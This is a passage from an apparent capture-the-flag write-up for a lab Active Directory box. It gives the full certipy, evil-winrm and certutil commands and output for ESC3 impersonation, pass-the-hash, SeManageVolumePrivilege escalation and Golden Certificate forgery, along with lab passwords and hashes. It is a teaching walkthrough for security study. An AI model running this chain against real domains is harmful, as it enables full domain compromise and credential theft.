"CERTIFICATE.HTB\\Administrators",
"CERTIFICATE.HTB\\Domain Admins",
"CERTIFICATE.HTB\\Enterprise Admins"
],
"512": [
"CERTIFICATE.HTB\\Authenticated Users"
]
}
}
}
},
"Certificate Templates": {
"0": {
"Template Name": "Delegated-CRA",
"Display Name": "Delegated-CRA",
"Certificate Authorities": [
"Certificate-LTD-CA"
],
"Enabled": true,
"Client Authentication": false,
"Enrollment Agent": true,
"Any Purpose": false,
"Enrollee Supplies Subject": false,
"Certificate Name Flag": [
33554432,
67108864,
536870912,
2147483648
],
"Enrollment Flag": [
1,
8,
32
],
"Private Key Flag": [
16
],
"Extended Key Usage": [
"Certificate Request Agent"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Schema Version": 2,
"Validity Period": "1 year",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Template Created": "2024-11-05 19:52:09+00:00",
"Template Last Modified": "2024-11-05 19:52:10+00:00",
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"CERTIFICATE.HTB\\Domain CRA Managers",
"CERTIFICATE.HTB\\Domain Admins",
"CERTIFICATE.HTB\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "CERTIFICATE.HTB\\Administrator",
"Full Control Principals": [
"CERTIFICATE.HTB\\Domain Admins",
"CERTIFICATE.HTB\\Enterprise Admins"
],
"Write Owner Principals": [
"CERTIFICATE.HTB\\Domain Admins",
"CERTIFICATE.HTB\\Enterprise Admins"
],
"Write Dacl Principals": [
"CERTIFICATE.HTB\\Domain Admins",
"CERTIFICATE.HTB\\Enterprise Admins"
],
"Write Property Enroll": [
"CERTIFICATE.HTB\\Domain Admins",
"CERTIFICATE.HTB\\Enterprise Admins"
]
}
},
"[+] User Enrollable Principals": [
"CERTIFICATE.HTB\\Domain CRA Managers"
],
"[!] Vulnerabilities": {
"ESC3": "Template has Certificate Request Agent EKU set."
}
}
}
}
This certipy
report confirms a critical misconfiguration on the Delegated-CRA
template that allows for ESC3 exploitation.
ESC3
ESC3 is a critical Active Directory Certificate Services (AD CS) misconfiguration where an attacker can abuse a Certificate Request Agent (CRA) template to impersonate any domain user.
In Windows environments:
- Certificate Request Agents can enroll for certificates on behalf of other users
- This is intended for smartcard deployment, helpdesk automation, etc.
- If abused, it allows an attacker to request a certificate for other privileged users and authenticate as them
Our environment (based on certipy find
):
- CA Name:
Certificate-LTD-CA
- Vulnerable Template:
Delegated-CRA
- Vulnerability:
ESC3 : Template has Certificate Request Agent EKU set.
- User Enrollable:
CERTIFICATE.HTB\Domain CRA Managers
Since lion.sk
is in the Domain CRA Managers
group, we can abuse this. This means we can forge a certificate for a high-privileged user like administrator
, impersonate them via PKINIT, and gain full domain privileges.
1. Target Template
For the victim target template, it should meet:
- Has
Client Authentication
EKU (or similar), - Is Schema Version 1 or lacks restrictions for agent-based enrollment,
- Allows our target user to enroll.
We need a template other than Delegated-CRA
(template 0), which only allows enrollment for:
"[+] User Enrollable Principals": [
"CERTIFICATE.HTB\\Domain CRA Managers"
],
Since lion.sk
is the only member of Domain CRA Managers
, we need to locate a second template usable against other users.
certipy find \
-u 'lion.sk' -p '!QAZ2wsx' \
-target 'dc01.certificate.htb' -dc-ip $target_ip
The output shows that template 1 (SignedUser
) is an ideal ESC3 target:
"1": {
"Template Name": "SignedUser",
"Display Name": "Signed User",
"Certificate Authorities": [
"Certificate-LTD-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": false,
"Certificate Name Flag": [
33554432,
67108864,
536870912,
2147483648
],
"Enrollment Flag": [
1,
8,
32
],
"Private Key Flag": [
16
],
"Extended Key Usage": [
"Client Authentication",
"Secure Email",
"Encrypting File System"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"RA Application Policies": [
"Certificate Request Agent"
],
"Authorized Signatures Required": 1,
"Schema Version": 2,
"Validity Period": "10 years",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Template Created": "2024-11-03 23:51:13+00:00",
"Template Last Modified": "2024-11-03 23:51:14+00:00",
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"CERTIFICATE.HTB\\Domain Admins",
"CERTIFICATE.HTB\\Domain Users",
"CERTIFICATE.HTB\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "CERTIFICATE.HTB\\Administrator",
"Full Control Principals": [
"CERTIFICATE.HTB\\Domain Admins",
"CERTIFICATE.HTB\\Enterprise Admins"
],
"Write Owner Principals": [
"CERTIFICATE.HTB\\Domain Admins",
"CERTIFICATE.HTB\\Enterprise Admins"
],
"Write Dacl Principals": [
"CERTIFICATE.HTB\\Domain Admins",
"CERTIFICATE.HTB\\Enterprise Admins"
],
"Write Property Enroll": [
"CERTIFICATE.HTB\\Domain Admins",
"CERTIFICATE.HTB\\Domain Users",
"CERTIFICATE.HTB\\Enterprise Admins"
]
}
},
"[+] User Enrollable Principals": [
"CERTIFICATE.HTB\\Domain Users"
],
"[*] Remarks": {
"ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template requires a signature with the Certificate Request Agent application policy."
}
}
This confirms:
SignedUser
is agent-signable and usable for impersonation using aDelegated-CRA
agent cert.
Our victim pool includes any member of Domain Users
—technically:
"[+] User Enrollable Principals": [
"CERTIFICATE.HTB\\Domain Users"
]
2. Request A CRA Cert
Request an Enrollment Agent certificate via the Delegated-CRA
template:
certipy req \
-u 'lion.sk' -p '!QAZ2wsx' \
-ca 'Certificate-LTD-CA' -target 'dc01.certificate.htb' \
-template 'Delegated-CRA'
This returns a .pfx
file containing the agent certificate:

3. Impersonate
Use the Enrollment Agent cert to request a certificate for the target account, e.g., Administrator:
certipy req \
-u '[email protected]' -p '!QAZ2wsx' \
-dc-ip $target_ip \
-target 'dc01.certificate.htb' \
-ca 'Certificate-LTD-CA' \
-template 'SignedUser' \
-pfx lion.sk.pfx \
-on-behalf-of 'CERTIFICATE\Administrator'
But this fails with:
[-] Got error while requesting certificate: code: 0x80094812 - CERTSRV_E_SUBJECT_EMAIL_REQUIRED - The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
This occurs because:
- The
SignedUser
template has theSubject Name Requirements
configured to require an email address. - But the target user (
Administrator
) has nomail
attribute set in AD, so the CA can't fulfill the template's requirements.
Unless we have GenericWrite
or DACL control over Administrator
, we cannot fulfill the SAN requirement.
Victims
Storage Managers
Since targeting Administrator
is blocked by subject constraints, we pivot to other viable users within the Domain Users
group.
Antivirus is present on the victim machine, so I tried an enumeration tool that bypasses the detection:

We see Sara.B
(Account Operators
), Ryan.k
, Akeder.kh
, and IIS Users (controlled by Sara's GenericAll
) have some suspicious local privileges, implying there could be multiple ways to privesc on this machine.

Additionally, during manual review of the enumerated users, we identified ryan.k
as a member of a custom group: DOMAIN STORAGE MANAGERS
.

This group caught our attention due to its naming structure, which mirrors elevated delegations like DOMAIN CRA MANAGERS
. The description reads:
The members of this security group are responsible for volume-level tasks such as maintaining, defragmenting and managing partitions and disks.
While not a built-in group, its association with storage management roles implies potential privileges such as SeManageVolumePrivilege
, which is commonly leveraged for direct disk access and low-level manipulation.
ESC3
Following the earlier-established ESC3 exploit chain, we use our CRA cert to impersonate ryan.k
:
certipy req \
-u '[email protected]' -p '!QAZ2wsx' \
-dc-ip $target_ip \
-target 'dc01.certificate.htb' \
-ca 'Certificate-LTD-CA' \
-template 'SignedUser' \
-pfx lion.sk.pfx \
-on-behalf-of 'CERTIFICATE\ryan.k'
This would work against all normal users:

We then authenticate with the issued cert, resolving KRB_AP_ERR_SKEW
via time sync script:
./ft.sh certificate.htb \
certipy auth -pfx ryan.k.pfx -dc-ip $target_ip
Results:
[*] Certificate identities:
[*] SAN UPN: '[email protected]'
[*] Security Extension SID: 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ryan.k.ccache'
[*] Wrote credential cache to 'ryan.k.ccache'
[*] Trying to retrieve NT hash for 'ryan.k'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:b1bc3d70e70f4f36b1509a65ae1a2ae6
Then connect via NTLM:
evil-winrm -i certificate.htb -u 'ryan.k' -H 'b1bc3d70e70f4f36b1509a65ae1a2ae6'
Access granted—and ryan.k
possesses SeManageVolumePrivilege
:

SeManageVolumePrivilege
Overview
As documented by Microsoft, the SeManageVolumePrivilege
allows specific volume-level FSCTL operations such as dismounting, defragmenting, or setting valid data length — typically enforced by the file system itself.
In practice, this privilege enables low-level control over the disk, including manipulating access control entries (ACEs) on protected system binaries or key containers, leading to local privilege escalation to SYSTEM.
Security researcher Grzegorz Tworek demonstrated this in a Twitter post, abusing FSCTL_SD_GLOBAL_CHANGE
to:
- Enable
SeManageVolumePrivilege
in the token, - Open a handle to
\\.\C:
withFILE_TRAVERSE | SYNCHRONIZE
, - Overwrite ACLs on protected binaries (e.g.,
utilman.exe
) to replaceAdministrators
withUsers
, - Overwrite those binaries with an arbitrary payload,
- Trigger execution from login screen for a SYSTEM shell.
Privesc
We leveraged this PoC to perform the attack on ryan.k
, who holds the privilege.
Running the SeManageVolumeExploit.exe
silently enables:

- Full access to protected paths (e.g.,
System32
,MachineKeys
), - Overwriting or exfiltrating restricted files as a low-privileged user.
According to the author:
We attempt to replace
utilman.exe
withcmd.exe
:PowerShellcopy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Then reboot the system and trigger them from the login screen (e.g., press Shift 5x for Sticky Keys) to spawn a SYSTEM shell.
But GUI access is unavailable in our exploit.
However, this access still allows us to interact with filesystem-restricted SYSTEM resources, such as the Administrator profile directory. While we can't read the flag yet:

We do now have access to escalate further via the GoldenCert attack.
MachineKeys
With SeManageVolumePrivilege
, we can modify DACLs across the system volume — including on sensitive key containers stored under:
C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
This's where the private key backing the CA cert lives:
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> dir C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
Directory: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--s- 11/3/2024 7:24 PM 2269 46f11b4056ad38609b08d1dea6880023_7989b711-2e3f-4107-9aae-fb8df2e3b958
-a--s- 11/3/2024 8:03 PM 2232 6de9cb26d2b98c01ec4e9e8b34824aa2_7989b711-2e3f-4107-9aae-fb8df2e3b958
-a--s- 11/3/2024 8:03 PM 2222 76944fb33636aeddb9590521c2e8815a_7989b711-2e3f-4107-9aae-fb8df2e3b958
-a--s- 11/3/2024 8:03 PM 2241 d6d986f09a1ee04e24c949879fdb506c_7989b711-2e3f-4107-9aae-fb8df2e3b958
BBefore the exploit, we are unable to read ACLs or access these files:
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> Get-ChildItem "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys" | ForEach-Object {
Write-Host "`n== $($_.Name) =="
(Get-Acl $_.FullName).Access
}
== 46f11b4056ad38609b08d1dea6880023_7989b711-2e3f-4107-9aae-fb8df2e3b958 ==
Attempted to perform an unauthorized operation.
At line:3 char:6
+ (Get-Acl $_.FullName).Access
+ ~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Get-Acl], UnauthorizedAccessException
+ FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.GetAclCommand
[...]
By abusing SeManageVolumePrivilege
, we can:
- Modify file system permissions on that directory
- Read or export the private key file associated with the Enterprise CA
After abusing SeManageVolumePrivilege
, we again check the ACLs of the MachineKeys:
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> Get-ChildItem "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys" | ForEach-Object {
Write-Host "`n== $($_.Name) =="
(Get-Acl $_.FullName).Access
}
== 46f11b4056ad38609b08d1dea6880023_7989b711-2e3f-4107-9aae-fb8df2e3b958 ==
FileSystemRights : FullControl
AccessControlType : Allow
IdentityReference : NT AUTHORITY\SYSTEM
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
FileSystemRights : FullControl
AccessControlType : Allow
IdentityReference : BUILTIN\Users
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
[...]
The exploit modifies the discretionary access control list (DACL) on the root volume (C:\
) or specific sensitive directories (like MachineKeys
) by abusing the FSCTL FSCTL_SD_GLOBAL_CHANGE
. So the keys become available for us to exfiltrate using certutil -v
:

This means we're now able to:
- Read/copy private key files from
MachineKeys
- Dump certificate material
- Export/forge certificates → Golden Certificate attack
GoldenCert Attack
The GoldenCert Attack (aka ESC7 abuse) is a powerful Active Directory Certificate Services (ADCS) exploitation technique that allows an attacker to forge valid authentication certificates for any user in the domain — including Domain Admins — by abusing the private key of an Enterprise Certificate Authority (CA).
A Golden Certificate is a forged certificate that is signed by a trusted root CA within the Active Directory environment. Because the CA is trusted for smart card logon / certificate-based authentication, any certificate it signs is implicitly trusted by the domain.
If we manage to obtain the private key of the CA, we can:
- Forge certificates for any identity (e.g.,
Administrator
,krbtgt
, etc.) - Use the forged cert to request Kerberos Ticket Granting Tickets (TGTs) via PKINIT
- Gain full domain access, even without knowing user passwords
Running certutil -store my
, we can list certificates stored in the "Personal" store on the machine:
*Evil-WinRM* PS C:\Users\Ryan.K\documents> certutil -store my
my "Personal"
================ Certificate 0 ================
Archived!
Serial Number: 472cb6148184a9894f6d4d2587b1b165
Issuer: CN=certificate-DC01-CA, DC=certificate, DC=htb
NotBefore: 11/3/2024 3:30 PM
NotAfter: 11/3/2029 3:40 PM
Subject: CN=certificate-DC01-CA, DC=certificate, DC=htb
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Cert Hash(sha1): 82ad1e0c20a332c8d6adac3e5ea243204b85d3a7
Key Container = certificate-DC01-CA
Unique container name: 6f761f351ca79dc7b0ee6f07b40ae906_7989b711-2e3f-4107-9aae-fb8df2e3b958
Provider = Microsoft Software Key Storage Provider
Signature test passed
================ Certificate 1 ================
Serial Number: 5800000002ca70ea4e42f218a6000000000002
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
NotBefore: 11/3/2024 8:14 PM
NotAfter: 11/3/2025 8:14 PM
Subject: CN=DC01.certificate.htb
Certificate Template Name (Certificate Type): DomainController
Non-root Certificate
Template: DomainController, Domain Controller
Cert Hash(sha1): 779a97b1d8e492b5bafebc02338845ffdff76ad2
Key Container = 46f11b4056ad38609b08d1dea6880023_7989b711-2e3f-4107-9aae-fb8df2e3b958
Simple container name: te-DomainController-3ece1f1c-d299-4a4d-be95-efa688b7fee2
Provider = Microsoft RSA SChannel Cryptographic Provider
Private key is NOT exportable
Encryption test passed
================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
NotBefore: 11/3/2024 3:55 PM
NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
Key Container = Certificate-LTD-CA
Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
Provider = Microsoft Software Key Storage Provider
Signature test passed
CertUtil: -store command completed successfully.
Focus on Certificate 2 — this is the Enterprise CA's own certificate, responsible for signing all other certificates within the domain. It's the key to crafting a Golden Certificate, and we specifically need its private key.
We now have:
- A CA certificate:
Certificate-LTD-CA
- With Subject = Issuer → meaning it's self-signed and root-trusted
- Key Container resolved →
Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_...
- Signature test passed — confirms the certificate is valid
This setup gives us everything we need to move forward with GoldenCert forgery and full domain compromise (reference).
1. Export CA Cert / Private Key
certutil -exportPFX my 75b2f4bbf31f108945147b466131bdca ca.pfx

Then download the exported ca.pfx
.
2. Forge Cert for Administrator
Forge a certificate for the target principal ([email protected]
) using the CA's private key:
certipy forge \
-ca-pfx ca.pfx \
-upn [email protected] \
-subject 'CN=Administrator,DC=certificate,DC=htb'
This doesn't make any request to the KDC — it simply creates a forged certificate: administrator_forged.pfx
:

The generated certificate now includes the User Principal Name (UPN) set to Administrator
:
$ openssl pkcs12 -in administrator_forged.pfx \
-nodes -nokeys \
| openssl x509 -noout -text \
| grep -A 1 "Subject Alternative Name"
Enter Import Password:
X509v3 Subject Alternative Name:
othername: UPN:[email protected]
3. Authenticate
We can now authenticate as Administrator
using the forged certificate:
$ ./ft.sh certificate.htb \
certipy auth -pfx administrator_forged.pfx -dc-ip $target_ip
[*] Querying offset from: certificate.htb
[*] faketime -f format: +28801.004412
28801.004412s
[*] Running: certipy auth -pfx administrator_forged.pfx -dc-ip 10.129.133.11
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: '[email protected]'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6
Pass-the-hash with evil-winrm
:
evil-winrm -i certificate.htb -u "Administrator" -H 'd804304519bf0143c14cbf1c024408c6'

Rooted.
Comments | NOTHING